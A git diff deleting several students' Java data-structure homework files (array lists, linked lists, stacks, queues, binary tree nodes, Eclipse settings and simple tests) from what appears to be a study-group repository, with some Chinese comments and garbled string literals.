-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group23/565832157/src/com/coding/basic/Iterator.java b/group23/565832157/src/com/coding/basic/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group23/565832157/src/com/coding/basic/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/565832157/src/com/coding/basic/LinkedList.java b/group23/565832157/src/com/coding/basic/LinkedList.java
deleted file mode 100644
index 09fe0a8ff3..0000000000
--- a/group23/565832157/src/com/coding/basic/LinkedList.java
+++ /dev/null
@@ -1,122 +0,0 @@
-package com.coding.basic;
-
-public class LinkedList implements List {
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group23/565832157/src/com/coding/basic/List.java b/group23/565832157/src/com/coding/basic/List.java
deleted file mode 100644
index 10d13b5832..0000000000
--- a/group23/565832157/src/com/coding/basic/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/565832157/src/com/coding/basic/Queue.java b/group23/565832157/src/com/coding/basic/Queue.java
deleted file mode 100644
index 36e516e266..0000000000
--- a/group23/565832157/src/com/coding/basic/Queue.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coding.basic;
-
-public class Queue {
-	
-	public void enQueue(Object o){		
-	}
-	
-	public Object deQueue(){
-		return null;
-	}
-	
-	public boolean isEmpty(){
-		return false;
-	}
-	
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/565832157/src/com/coding/basic/Stack.java b/group23/565832157/src/com/coding/basic/Stack.java
deleted file mode 100644
index a5a04de76d..0000000000
--- a/group23/565832157/src/com/coding/basic/Stack.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.basic;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){		
-	}
-	
-	public Object pop(){
-		return null;
-	}
-	
-	public Object peek(){
-		return null;
-	}
-	public boolean isEmpty(){
-		return false;
-	}
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/601689050/ArrayList.java b/group23/601689050/ArrayList.java
deleted file mode 100644
index 5a4169dc9b..0000000000
--- a/group23/601689050/ArrayList.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.bjsxd.test;
-
-public class ArrayList implements List {
-    private Object[] elementData = new Object[100];
-    private int size = 0;
-    Object[] temp = null;
-
-    public void add(Object o) {
-        if (size < elementData.length) {
-            size++;
-            Object[] target = new Object[elementData.length + size];
-            System.arraycopy(elementData, 0, target, 0, elementData.length);
-            elementData[size] = o;
-        }
-    }
-
-    public void add(int index, Object o) {
-        if (index < 0 || o == null) {
-            throw new IllegalArgumentException("��Ӷ������");
-        } else if (index <= elementData.length) {
-            add(o);
-        } else if (index > elementData.length) {
-            throw new IllegalArgumentException("��Ӷ���Խ��");
-        }
-
-        if (size <= elementData.length) {
-            this.size++;
-        }
-        Object[] target = new Object[this.size];
-        System.arraycopy(elementData, 0, target, 0, index);
-        target[index] = o;
-        System.arraycopy(elementData, index, target, index + 1, elementData.length - index);
-    }
-
-    public Object get(int index) {
-        if (index < 0 || index >= elementData.length) {
-            return false;
-        } else {
-            return elementData[index];
-        }
-    }
-
-    public Object remove(int index) {
-        if (index < 0 || index >= elementData.length) {
-            throw new IllegalArgumentException("ɾ�����󲻴���");
-        } else {
-            for (int i = index; i < elementData.length; i++) {
-                elementData[i] = elementData[i + 1];
-            }
-            return elementData[index];
-        }
-    }
-
-    public int size() {
-        return this.size;
-    }
-
-}
diff --git a/group23/601689050/BinaryTreeNode.java b/group23/601689050/BinaryTreeNode.java
deleted file mode 100644
index 3687306f5e..0000000000
--- a/group23/601689050/BinaryTreeNode.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.bjsxd.test;
-
-public class BinaryTreeNode {
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	private BinaryTreeNode root;
-	
-	public BinaryTreeNode(BinaryTreeNode root){
-		this.root = root;
-		
-	}
-	
-	public BinaryTreeNode(BinaryTreeNode left,BinaryTreeNode right,Object data){
-		this.left = left;
-		this.right = right;
-		this.data = data;
-	}
-	
-	public void buildTree(){
-		
-	}
-	
-	public BinaryTreeNode(Object data){
-		this(null,null,data);
-	}
-	 public Object getData(){
-		 return data;
-	 }
-	 public void setData(Object data){
-		 this.data = data;
-	 }
-	 public BinaryTreeNode getLeft(){
-		 return left;
-	 }
-	 public void setLeft(BinaryTreeNode left){
-		 this.left = left;
-		
-	 }
-	 public BinaryTreeNode getRight(){
-		 return right;
-	 }
-	 public void setRight(BinaryTreeNode right){
-		 this.right = right;
-	 }
-	 public BinaryTreeNode insert(Object o){
-		 return null;
-	 }
-
-}
diff --git a/group23/601689050/Iterator.java b/group23/601689050/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group23/601689050/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/601689050/LinkedList.java b/group23/601689050/LinkedList.java
deleted file mode 100644
index ee173bec67..0000000000
--- a/group23/601689050/LinkedList.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package com.bjsxd.test;
-
-public class LinkedList implements List{
-	private static class Node{
-		Object data;
-		Node next;
-	}
-	private Node head;
-	private Node last;
-	public void add (Object o){
-		if (head == null){
-			head = new Node();
-			head.data = o;
-			head.next = null;
-		}else{
-			Node MyNode = new Node();
-			MyNode = head;
-			while (MyNode.next != null){
-				MyNode = MyNode.next;
-			}
-			Node AddNode = new Node();
-			MyNode.next = AddNode;
-			AddNode.data = o;
-		}
-	}
-	public void add(int index,Object o){
-		if(index<0 || o ==null){
-			throw new IllegalArgumentException("���Ӷ���λ�ó����Ҳ���Ϊ��");
-		}else if (index == 0 && head == null){
-			head = new Node();
-			head.data = o;
-			head.next = null;
-		}else if (index > 0 && head == null){
-			throw new IllegalArgumentException("���Ӷ���λ�ó���");
-		}else{
-			Node SrcNode = new Node();
-			Node AddNode = new Node();
-			Node SrcNode2 = new Node();
-			SrcNode = head;
-			for(int i=0;i<=index;i++){
-				SrcNode = SrcNode.next;
-			}
-			AddNode.next = SrcNode;
-			AddNode.data = o;
-			for (int i=0;i<index;i++){
-				SrcNode2 = SrcNode2.next;
-			}
-			SrcNode2.next = AddNode;
-		}
-	}
-	public Object get(int index){
-		Node SrcNode = new Node();
-		for (int i=0;i<index;i++){
-			SrcNode = SrcNode.next;
-		}
-		return SrcNode;
-	}
-	public Object remove(int index){
-		Node SrcNode = new Node();
-		Node TempNode = new Node();
-		Node MyNode = new Node();
-		MyNode = head;
-		int size = 0;
-		while (MyNode != null){
-			MyNode = MyNode.next;
-			size++;
-		}
-		if (index < 0 || index > size){
-		throw new IllegalArgumentException("ɾ������λ�ó���");	
-		}else{
-		for (int i=0;i<index;i++){
-			SrcNode = SrcNode.next;
-		}
-		TempNode =  SrcNode.next;
-		SrcNode.next = SrcNode.next.next;
-		return TempNode;
-		}
-	}
-	public int size(){
-		Node MyNode = new Node();
-		MyNode = head;
-		int size = 0;
-		while (MyNode != null){
-			MyNode = MyNode.next;
-			size++;
-		}
-		return size;
-	}
-	public void addFirst(Object o){
-		Node MyNode = new Node();
-		MyNode.data = o;
-		MyNode.next = head;
-		head.next = MyNode;
-	}
-	public Object removeFirst(){
-		Node MyNode = new Node();
-		MyNode.data = head.data;
-		head.next = head.next.next;
-		return MyNode;
-	}
-	public Object removeLast(){
-		Node TempNode = new Node();
-		Node MyNode = new Node();
-		MyNode = last;
-		TempNode = head;
-		int size = 0;
-		while (TempNode != null){
-			TempNode = TempNode.next;
-			size++;
-		}
-		for (int i = 0;i < size-1; i++){
-			TempNode = TempNode.next;
-		}
-		TempNode.next = null;
-		return MyNode;
-	}
-}
diff --git a/group23/601689050/List.java b/group23/601689050/List.java
deleted file mode 100644
index 863418df78..0000000000
--- a/group23/601689050/List.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.bjsxd.test;
-
-public interface List {
-	public void add(Object o);
-	public void add (int index,Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-
-}
diff --git a/group23/601689050/Queue.java b/group23/601689050/Queue.java
deleted file mode 100644
index 1a975026a9..0000000000
--- a/group23/601689050/Queue.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.bjsxd.test;
-
-public class Queue{
-	private Object[] Q;
-	int front;
-	int rear;
-	public Queue(){
-		Q = new Object[100];
-	}
-	public Queue(int size){
-		Q = new Object[size];
-		front = 0;
-		rear = 0;
-	}
-	public void enQueue(Object o){
-		if((rear+1)%Q.length == front){
-			System.out.println("ջ����");
-		}else{
-			Q[rear] = o;
-			rear = rear+1;
-		}
-	}
-	
-	public Object deQueue(){
-		if (rear == front)
-		return null;
-		else{
-			Object temp = Q[front];
-			front = front+1;
-			return temp;
-		}
-	}
-	
-	public boolean isEmpty(){
-		return rear == front;
-	}
-	
-	public int size(){
-		if(rear > front){
-			return rear - front;
-		}else
-			return Q.length-1;
-	}
-
-}
diff --git a/group23/601689050/Stack.java b/group23/601689050/Stack.java
deleted file mode 100644
index 106d2ecc7d..0000000000
--- a/group23/601689050/Stack.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.bjsxd.test;
-
-public class Stack {
-	private int top = -1;
-	private Object[] elements;
-	private int size = 0;
-	public Stack(){
-		elements = new Object[100];
-	}
-	public void push (Object o){
-		elements[this.size] = o;
-		this.size++;
-	}
-	public Object pop(){
-		if (this.size != 0){
-			Object temp = elements[size-1];
-			elements[size-1]=0;
-			size--;
-			return temp;
-		}else{
-			System.out.println("ջ��");
-			return 0;
-		}
-	}
-	public Object peek(){
-		if(!this.isEmpty()){
-			Object temp = elements[this.size-1];
-			elements[this.size-1] = 0;
-			this.size--;
-			return temp;
-		}else{
-			System.out.println("ջ��");
-			return 0;
-		}
-	}
-	public boolean isEmpty(){
-		return this.size == 0;
-	}
-}
diff --git a/group23/609041842/.classpath b/group23/609041842/.classpath
deleted file mode 100644
index 4449a3dae9..0000000000
--- a/group23/609041842/.classpath
+++ /dev/null
@@ -1,10 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry kind="lib" path="E:/java/dom4j/dom4j-1.6.1.jar"/>
-	<classpathentry kind="lib" path="E:/java/dom4j/jaxen-1.1-beta-7.jar"/>
-	<classpathentry kind="lib" path="E:/java/dom4j/sitemesh-2.2.1.jar"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
diff --git a/group23/609041842/.gitignore b/group23/609041842/.gitignore
deleted file mode 100644
index ae3c172604..0000000000
--- a/group23/609041842/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/bin/
diff --git a/group23/609041842/.project b/group23/609041842/.project
deleted file mode 100644
index b2b4094e01..0000000000
--- a/group23/609041842/.project
+++ /dev/null
@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<projectDescription>
-	<name>609041842coding</name>
-	<comment></comment>
-	<projects>
-	</projects>
-	<buildSpec>
-		<buildCommand>
-			<name>org.eclipse.jdt.core.javabuilder</name>
-			<arguments>
-			</arguments>
-		</buildCommand>
-	</buildSpec>
-	<natures>
-		<nature>org.eclipse.jdt.core.javanature</nature>
-	</natures>
-</projectDescription>
diff --git a/group23/609041842/.settings/org.eclipse.jdt.ui.prefs b/group23/609041842/.settings/org.eclipse.jdt.ui.prefs
deleted file mode 100644
index b6ec1a71fb..0000000000
--- a/group23/609041842/.settings/org.eclipse.jdt.ui.prefs
+++ /dev/null
@@ -1,60 +0,0 @@
-eclipse.preferences.version=1
-editor_save_participant_org.eclipse.jdt.ui.postsavelistener.cleanup=true
-sp_cleanup.add_default_serial_version_id=true
-sp_cleanup.add_generated_serial_version_id=false
-sp_cleanup.add_missing_annotations=true
-sp_cleanup.add_missing_deprecated_annotations=true
-sp_cleanup.add_missing_methods=false
-sp_cleanup.add_missing_nls_tags=false
-sp_cleanup.add_missing_override_annotations=true
-sp_cleanup.add_missing_override_annotations_interface_methods=true
-sp_cleanup.add_serial_version_id=false
-sp_cleanup.always_use_blocks=true
-sp_cleanup.always_use_parentheses_in_expressions=false
-sp_cleanup.always_use_this_for_non_static_field_access=false
-sp_cleanup.always_use_this_for_non_static_method_access=false
-sp_cleanup.convert_functional_interfaces=false
-sp_cleanup.convert_to_enhanced_for_loop=false
-sp_cleanup.correct_indentation=false
-sp_cleanup.format_source_code=true
-sp_cleanup.format_source_code_changes_only=false
-sp_cleanup.insert_inferred_type_arguments=false
-sp_cleanup.make_local_variable_final=true
-sp_cleanup.make_parameters_final=false
-sp_cleanup.make_private_fields_final=true
-sp_cleanup.make_type_abstract_if_missing_method=false
-sp_cleanup.make_variable_declarations_final=false
-sp_cleanup.never_use_blocks=false
-sp_cleanup.never_use_parentheses_in_expressions=true
-sp_cleanup.on_save_use_additional_actions=false
-sp_cleanup.organize_imports=true
-sp_cleanup.qualify_static_field_accesses_with_declaring_class=false
-sp_cleanup.qualify_static_member_accesses_through_instances_with_declaring_class=true
-sp_cleanup.qualify_static_member_accesses_through_subtypes_with_declaring_class=true
-sp_cleanup.qualify_static_member_accesses_with_declaring_class=false
-sp_cleanup.qualify_static_method_accesses_with_declaring_class=false
-sp_cleanup.remove_private_constructors=true
-sp_cleanup.remove_redundant_type_arguments=true
-sp_cleanup.remove_trailing_whitespaces=false
-sp_cleanup.remove_trailing_whitespaces_all=true
-sp_cleanup.remove_trailing_whitespaces_ignore_empty=false
-sp_cleanup.remove_unnecessary_casts=true
-sp_cleanup.remove_unnecessary_nls_tags=false
-sp_cleanup.remove_unused_imports=false
-sp_cleanup.remove_unused_local_variables=false
-sp_cleanup.remove_unused_private_fields=true
-sp_cleanup.remove_unused_private_members=false
-sp_cleanup.remove_unused_private_methods=true
-sp_cleanup.remove_unused_private_types=true
-sp_cleanup.sort_members=false
-sp_cleanup.sort_members_all=false
-sp_cleanup.use_anonymous_class_creation=false
-sp_cleanup.use_blocks=false
-sp_cleanup.use_blocks_only_for_return_and_throw=false
-sp_cleanup.use_lambda=true
-sp_cleanup.use_parentheses_in_expressions=false
-sp_cleanup.use_this_for_non_static_field_access=false
-sp_cleanup.use_this_for_non_static_field_access_only_if_necessary=true
-sp_cleanup.use_this_for_non_static_method_access=false
-sp_cleanup.use_this_for_non_static_method_access_only_if_necessary=true
-sp_cleanup.use_type_arguments=false
diff --git a/group23/609041842/src/com/homework01/ArrayList.java b/group23/609041842/src/com/homework01/ArrayList.java
deleted file mode 100644
index 1feb6162ad..0000000000
--- a/group23/609041842/src/com/homework01/ArrayList.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.homework01;
-
-import java.util.Arrays;
-
-public class ArrayList {
-
-	private Object[] obj = new Object[0];
-
-	public void add(Object o) {
-		Object[] tar = new Object[obj.length + 1];
-		System.arraycopy(obj, 0, tar, 0, obj.length);
-		tar[tar.length - 1] = o;
-		obj = tar;
-		System.out.println(Arrays.toString(obj));
-	}
-
-	public void add(int index, Object o) {
-		Object[] tar = new Object[obj.length + 1];
-		System.arraycopy(obj, 0, tar, 0, index);
-		tar[index] = o;
-		System.arraycopy(obj, index, tar, index + 1, obj.length - index);
-		obj = tar;
-	}
-
-	public Object get(int index) {
-		return obj[index];
-	}
-	
-	public int size(){
-		return obj.length;
-	}
-
-	public Object remove(int index){
-		Object[] tar = new Object[obj.length-1];
-		System.arraycopy(obj, 0, tar, 0, index);
-		System.arraycopy(obj, index+1, tar, index, obj.length-index-1);
-		Object o = obj[index];
-		obj = tar;
-		return o;//���ر�ɾԪ��
-	}
-	public static void main(String[] args) {
-		ArrayList al = new ArrayList();
-		al.add("hello");
-		al.add("java");
-		al.add(2, "addm");
-		System.out.println(al.remove(1));
-	}
-
-}
diff --git a/group23/609041842/src/com/homework01/LinkedList.java b/group23/609041842/src/com/homework01/LinkedList.java
deleted file mode 100644
index f18c110c7c..0000000000
--- a/group23/609041842/src/com/homework01/LinkedList.java
+++ /dev/null
@@ -1,87 +0,0 @@
-package com.homework01;
-
-public class LinkedList {
-	private static Node head;
-	private Node last;
-	public int size;
-
-	public void add(Object o) {
-		Node l = last;
-		Node newNode = new Node(l, o, null);
-		last = newNode;
-		if (head == null) {
-			head = newNode;
-			size = 1;
-		} else {
-			l.next = newNode;
-			size++;
-		}
-	}
-
-	public void add(int index, Object o) {
-		Node n = node(index);
-		System.out.println(n.data);
-		Node pred = n.prev;
-		Node newNode = new Node(pred, o, n);
-		if (pred == null) {
-			head = newNode;
-		} else {
-			pred.next = newNode;
-		}
-		size++;
-	}
-
-	
-	public Node get(int index){
-		return node(index);
-	}
-	public Node node(int index) {
-		Node n = head;
-		for (int i = 0; i < index; i++) {
-			n = n.next;
-		}
-		return n;
-	}
-
-	public Node remove(int index){
-		Node del = node(index);
-		Node after = del.next;
-		Node before = del.prev;
-		before.next = after;
-		after.prev = before;
-		size--;
-		return del;
-	}
-	private static class Node {
-		Node next;
-		Object data;
-		Node prev;
-
-		private Node(Node prev, Object data, Node next) {
-			this.data = data;
-			this.next = next;
-			this.prev = prev;
-		}
-	}
-
-	public static void main(String[] arg) {
-		LinkedList ll = new LinkedList();
-		ll.add("hello");
-		ll.add("java");
-		ll.add("jvm");
-		ll.add("jvmd");
-		// System.out.println(ll.get(2));
-//		ll.add(1, "ds");
-		System.out.println(ll.get(0).data);
-		System.out.println(ll.get(1).data);
-		System.out.println(ll.get(2).data);
-		System.out.println(ll.get(3).data);
-		System.out.println(ll.size);
-	System.out.println(ll.remove(1).data);
-	System.out.println(ll.get(0).data);
-	System.out.println(ll.get(1).data);
-	System.out.println(ll.get(2).data);
-	System.out.println(ll.size);
-	}
-
-}
diff --git a/group23/609041842/src/com/homework01/Queue.java b/group23/609041842/src/com/homework01/Queue.java
deleted file mode 100644
index afc54a2dda..0000000000
--- a/group23/609041842/src/com/homework01/Queue.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.homework01;
-
-public class Queue {
-
-	private LinkedList lk = new LinkedList();
-	public void enQueue(Object o){
-		lk.add(o);
-	}
-	public void deQueue(){
-		lk.remove(lk.size-1);
-	}
-	public boolean isEmpty(){
-		if(lk.size == 0)
-			return true;
-		return false;
-	}
-}
diff --git a/group23/609041842/src/com/homework01/Stack.java b/group23/609041842/src/com/homework01/Stack.java
deleted file mode 100644
index a5bc4488af..0000000000
--- a/group23/609041842/src/com/homework01/Stack.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.homework01;
-
-public class Stack {
-
-	private ArrayList array = new ArrayList();
-	
-	public void push(Object o){
-		array.add(o);
-	}
-	public Object pop(){
-		return array.remove(array.size()-1);
-	}
-	
-	public boolean isEmpty(){
-		if(array.size()<=0)
-			return true;
-		return false;
-	}
-	
-	public int size(){
-		return array.size();
-	}
-	public static void main(String[] args) {
-		Stack sc = new Stack();
-		sc.push("hello world");
-		sc.push("java");
-		sc.push("jvm");
-	}
-	
-}
diff --git a/group23/609041842/src/test.java b/group23/609041842/src/test.java
deleted file mode 100644
index 931a307711..0000000000
--- a/group23/609041842/src/test.java
+++ /dev/null
@@ -1,9 +0,0 @@
-import org.junit.Test;
-
-public class test {
-
-	@Test
-	public void test(){
-		System.out.println("Heool");
-	}
-}
diff --git a/group23/632678665/com/basic/datastructure/ArrayList.java b/group23/632678665/com/basic/datastructure/ArrayList.java
deleted file mode 100644
index 35fb185737..0000000000
--- a/group23/632678665/com/basic/datastructure/ArrayList.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package com.basic.datastructure;
-
-import java.util.Arrays;
-
-import org.junit.Test;
-
-public class ArrayList implements List{
-	private Object [] array =new Object [15];
-	private int size=0;
-	private int aindex=0;
-	@Override
-	public void add(Object o) {
-		if(aindex>(int)(array.length/3*2)){
-			array=autoGrew(array);
-		}
-		array[aindex]=o;
-		size++;
-		aindex++;
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		if(index>=array.length){
-			throw new IndexOutOfBoundsException();
-		}
-		array[index]=o;
-		size++;
-		aindex=index;
-	}
-
-	@Override
-	public Object get(int index) {
-		if(index>=array.length){
-			throw new IndexOutOfBoundsException();
-		}
-		return array[index];
-	}
-
-	@Override
-	public Object remove(int index) {
-		if(index>=array.length){
-			throw new IndexOutOfBoundsException();
-		}
-		Object o=array[index];
-		for(int i=index;i<array.length;i++){
-			if(i==array.length-1){
-				break;
-			}
-			array[i]=array[i+1];
-		}
-		size--;
-		return null;
-	}
-
-	@Override
-	public int size() {
-		return size;
-	}
-	public Object [] autoGrew(Object [] o){
-		Object [] newArray;
-		return newArray=Arrays.copyOf(o, (int) (o.length*1.5));
-	}
-	
-}
diff --git a/group23/632678665/com/basic/datastructure/LinkedList.java b/group23/632678665/com/basic/datastructure/LinkedList.java
deleted file mode 100644
index 3eb2aad4a1..0000000000
--- a/group23/632678665/com/basic/datastructure/LinkedList.java
+++ /dev/null
@@ -1,98 +0,0 @@
-package com.basic.datastructure;
-
-public class LinkedList implements List{
-	private int size=0;
-	private Node head=null;
-	private int index=-1;
-	
-	private static class Node{
-		Object data;
-		Node next;
-		public Node(Object o,Node next){
-			this.data=o;
-			this.next=next;
-		}
-	}
-	@Override
-	public void add(Object o) {
-		Node front=null;
-		Node last=null;
-		if(head==null){
-			head=new Node(o,null);
-			front=head;
-			size++;
-			index++;
-			return ;
-		}
-		while(front.next!=null){
-			front=front.next;
-		}
-		last=new Node(o,null);
-		front.next=last;
-		index++;
-		size++;
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		Node front=null;
-		Node last=null;
-		if(head==null){
-			head=new Node(o,null);
-			front=head;
-			size++;
-			index++;
-			return ;
-		}
-		for(int i=0;i<index;i++){
-			if(front.next==null){
-				add(null);
-				front=front.next;
-			}
-		}
-		add(o);
-	}
-
-	@Override
-	public Object get(int index) {
-		Node front=null;
-		if(index==0){
-			if(head==null){
-				throw new IndexOutOfBoundsException();
-			}
-			return head.data;
-		}
-		front=head;
-		for(int i=0;i<index;i++){
-			if(front.next==null){
-				throw new IndexOutOfBoundsException();
-			}
-			front=front.next;
-		}
-		return front.next.data;
-	}
-
-	@Override
-	public Object remove(int index) {
-		if(index==0){
-			head=head.next;
-		}
-		Node front=null;
-		for(int i=0;i<index;i++){
-			if(front.next==null){
-				throw new IndexOutOfBoundsException();
-			}
-			front=front.next;
-		}
-		front.next=front.next.next;
-		size--;
-		return front.next.data;
-	}
-
-	@Override
-	public int size() {
-		// TODO Auto-generated method stub
-		return size;
-	}
-	
-}
diff --git a/group23/632678665/com/basic/datastructure/List.java b/group23/632678665/com/basic/datastructure/List.java
deleted file mode 100644
index a69cde6453..0000000000
--- a/group23/632678665/com/basic/datastructure/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.basic.datastructure;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index,Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/632678665/com/basic/datastructure/Queue.java b/group23/632678665/com/basic/datastructure/Queue.java
deleted file mode 100644
index 41ef95deb9..0000000000
--- a/group23/632678665/com/basic/datastructure/Queue.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.basic.datastructure;
-import java.util.LinkedList;
-public class Queue {
-	private LinkedList linkedList=new LinkedList();
-	
-	public void enQueue(Object o){
-		linkedList.add(o);
-	}
-	
-	public Object deQueue(){
-		Object o=linkedList.get(linkedList.size()-1);
-		linkedList.remove(linkedList.size()-1);
-		return o;
-	}
-	
-	public boolean isEmpty(){
-		return linkedList.isEmpty();
-	}
-	
-	public int size(){
-		return linkedList.size();
-	}
-}
diff --git a/group23/632678665/com/basic/datastructure/Stack.java b/group23/632678665/com/basic/datastructure/Stack.java
deleted file mode 100644
index dbc06956e1..0000000000
--- a/group23/632678665/com/basic/datastructure/Stack.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.basic.datastructure;
-
-import java.util.ArrayList;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-
-	public void push(Object o) {
-		elementData.add(o);
-	}
-
-	public Object pop() {
-		Object o=elementData.get(elementData.size()-1);
-		elementData.remove(elementData.size()-1);
-		return o;
-	}
-
-	public Object peek() {
-		return elementData.get(elementData.size()-1);
-	}
-
-	public boolean isEmpty() {
-		return elementData.isEmpty();
-	}
-
-	public int size() {
-		return elementData.size();
-	}
-}
diff --git a/group23/632678665/com/basic/datastructure/TestDataStructure.java b/group23/632678665/com/basic/datastructure/TestDataStructure.java
deleted file mode 100644
index e394e8ec61..0000000000
--- a/group23/632678665/com/basic/datastructure/TestDataStructure.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.basic.datastructure;
-
-import static org.junit.Assert.*;
-
-import org.junit.Test;
-
-public class TestDataStructure {
-
-	@Test
-	public void test1() {
-		List list=new ArrayList();
-		list.add(new Integer(1));
-		list.add(new Integer(2));
-		list.add(new Integer(3));
-		list.add(new Integer(4));
-		list.add(new Integer(5));
-	}
-	public static void main(String [] args){
-		List list=new ArrayList();
-		list.add(new Integer(1));
-		list.add(new Integer(2));
-		list.add(new Integer(3));
-		list.add(new Integer(4));
-		list.add(new Integer(5));
-	}
-
-}
diff --git a/group23/632678665/com/basic/week2/datastructure/ArrayTest.java b/group23/632678665/com/basic/week2/datastructure/ArrayTest.java
deleted file mode 100644
index 46c3f8b601..0000000000
--- a/group23/632678665/com/basic/week2/datastructure/ArrayTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.basic.week2.datastructure;
-
-import static org.junit.Assert.*;
-
-import java.util.Arrays;
-
-import org.junit.Test;
-
-public class ArrayTest {
-	private ArrayUtil t=new ArrayUtil();
-	@Test
-	public void testReverseArray(){
-		int [] data1={7, 9 , 30, 3};
-		int [] data2={7, 9, 30, 3, 4};
-		t.reverseArray(data2);
-	}
-	@Test
-	public void testRemoveZero(){
-		int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
-		System.out.println(Arrays.toString(t.removeZero(oldArr)));
-	}
-	@Test
-	public void testMerge(){
-		int [] a1 = {3, 5, 7,8};
-		int [] a2 = {4, 5, 6,7};
-		System.out.println(Arrays.toString(t.merge(a1, a2)));
-	}
-	@Test
-	public void testGrow(){
-		int [] oldArray = {2,3,6};
-		System.out.println(Arrays.toString(t.grow(oldArray, 5)));
-	}
-	@Test
-	public void testFibonacci(){
-		System.out.println(Arrays.toString(t.fibonacci(1)));
-	}
-	@Test
-	public void testGetPrimes(){
-		System.out.println(Arrays.toString(t.getPrimes(23)));
